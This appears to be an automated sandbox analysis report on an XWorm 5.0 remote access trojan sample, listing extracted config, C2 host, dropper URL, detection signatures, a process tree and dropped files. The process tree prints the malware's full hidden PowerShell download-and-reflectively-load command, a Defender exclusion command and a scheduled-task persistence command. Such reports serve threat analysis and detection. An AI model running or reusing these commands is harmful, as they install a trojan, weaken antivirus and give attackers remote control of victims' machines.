Analysis

  • max time kernel
    143s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2025, 13:13

General

  • Target
    k3t05Da.exe
  • Size 5.9MB
  • Sample250322-qf5alstset
  • SHA256 fb0fe7e716caf3e0dcb1fbb6824466f807aa85295bfc7ed7046febf3331dab88
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://196.251.91.42/up/uploads/encryption02.jpg

  • exe.dropper

    http://196.251.91.42/up/uploads/encryption02.jpg

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • httpss.myvnc.com:1907

Mutex
  • xWIArEKzuXpfRVkJ

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe
    "C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\File.bat" "
      2⤵
      • Drops startup file
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5496
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzE5Ni4yNTEuOTEuNDIvdXAvdXBsb2Fkcy9lbmNyeXB0aW9uMDIuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('httpss.myvnc.com', '1907');"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2268
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ohbuGGy.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4576
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ohbuGGy" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC41B.tmp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:3412
    • C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe
      "C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe"
      2⤵
        PID:2636
      • C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe
        "C:\Users\Admin\AppData\Local\Temp\k3t05Da.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4808

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          File.bat

          • Path C:\Users\Admin\AppData\Local\Temp\File.bat
          • Size 229KB
          • SHA256 9c256303330feb957a162d5093e7b3090d7a43f7d8818f4e33b953b319b8084e
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_fn51q4x4.grf.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fn51q4x4.grf.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          AgileDotNetRT.dll

          • Path C:\Users\Admin\AppData\Local\Temp\ebc59c84-1d9c-4057-ae09-0c701210a265\AgileDotNetRT.dll
          • Size 2.3MB
          • SHA256 7df49cba50cc184b0fbb31349bd9f2b18acf5f7e7fac9670759efa48564eaef1
          • MD5 SHA1 SHA512 SSDEEP

          tmpC41B.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\tmpC41B.tmp
          • Size 1KB
          • SHA256 b8c2d7effcf43c5cb89cb81041801f7b655a61012ea94443e40b2440398dbeda
          • MD5 SHA1 SHA512

          memory/1356-17-0x0000000008CD0000-0x0000000008CDA000-memory.dmp

          memory/1356-20-0x00000000094A0000-0x00000000094B0000-memory.dmp

          memory/1356-3-0x0000000005F00000-0x00000000064A4000-memory.dmp

          memory/1356-4-0x0000000005760000-0x00000000057F2000-memory.dmp

          memory/1356-12-0x00000000725F0000-0x0000000072BD0000-memory.dmp

          memory/1356-14-0x00000000725F0000-0x0000000072BD0000-memory.dmp

          memory/1356-15-0x00000000725F0000-0x0000000072BD0000-memory.dmp

          memory/1356-16-0x0000000073660000-0x00000000736E9000-memory.dmp

          memory/1356-42-0x00000000725F0000-0x0000000072BD0000-memory.dmp

          memory/1356-18-0x0000000008D80000-0x0000000008E1C000-memory.dmp

          memory/1356-19-0x0000000009230000-0x000000000929A000-memory.dmp

          memory/1356-2-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/1356-21-0x0000000074C5E000-0x0000000074C5F000-memory.dmp

          memory/1356-22-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/1356-23-0x00000000725F0000-0x0000000072BD0000-memory.dmp

          memory/1356-24-0x0000000009CC0000-0x0000000009D12000-memory.dmp

          memory/1356-46-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/1356-0-0x0000000074C5E000-0x0000000074C5F000-memory.dmp

          memory/1356-1-0x0000000000710000-0x0000000000CFC000-memory.dmp

          memory/2268-93-0x0000000009BA0000-0x000000000A036000-memory.dmp

          memory/2268-94-0x00000000071B0000-0x0000000007206000-memory.dmp

          memory/4576-44-0x0000000006210000-0x0000000006276000-memory.dmp

          memory/4576-45-0x0000000006280000-0x00000000062E6000-memory.dmp

          memory/4576-43-0x0000000006170000-0x0000000006192000-memory.dmp

          memory/4576-39-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/4576-35-0x0000000005320000-0x0000000005356000-memory.dmp

          memory/4576-56-0x0000000006500000-0x0000000006854000-memory.dmp

          memory/4576-57-0x0000000005680000-0x000000000569E000-memory.dmp

          memory/4576-58-0x0000000006930000-0x000000000697C000-memory.dmp

          memory/4576-69-0x00000000724D0000-0x000000007251C000-memory.dmp

          memory/4576-68-0x0000000006EC0000-0x0000000006EF2000-memory.dmp

          memory/4576-79-0x0000000006EA0000-0x0000000006EBE000-memory.dmp

          memory/4576-80-0x0000000007AC0000-0x0000000007B63000-memory.dmp

          memory/4576-82-0x0000000007C20000-0x0000000007C3A000-memory.dmp

          memory/4576-81-0x0000000008260000-0x00000000088DA000-memory.dmp

          memory/4576-83-0x0000000007C90000-0x0000000007C9A000-memory.dmp

          memory/4576-84-0x0000000007EA0000-0x0000000007F36000-memory.dmp

          memory/4576-85-0x0000000007E20000-0x0000000007E31000-memory.dmp

          memory/4576-86-0x0000000007E50000-0x0000000007E5E000-memory.dmp

          memory/4576-87-0x0000000007E60000-0x0000000007E74000-memory.dmp

          memory/4576-88-0x0000000007F60000-0x0000000007F7A000-memory.dmp

          memory/4576-89-0x0000000007F40000-0x0000000007F48000-memory.dmp

          memory/4576-92-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/4576-38-0x0000000005A90000-0x00000000060B8000-memory.dmp

          memory/4576-36-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/4808-40-0x0000000000400000-0x000000000040E000-memory.dmp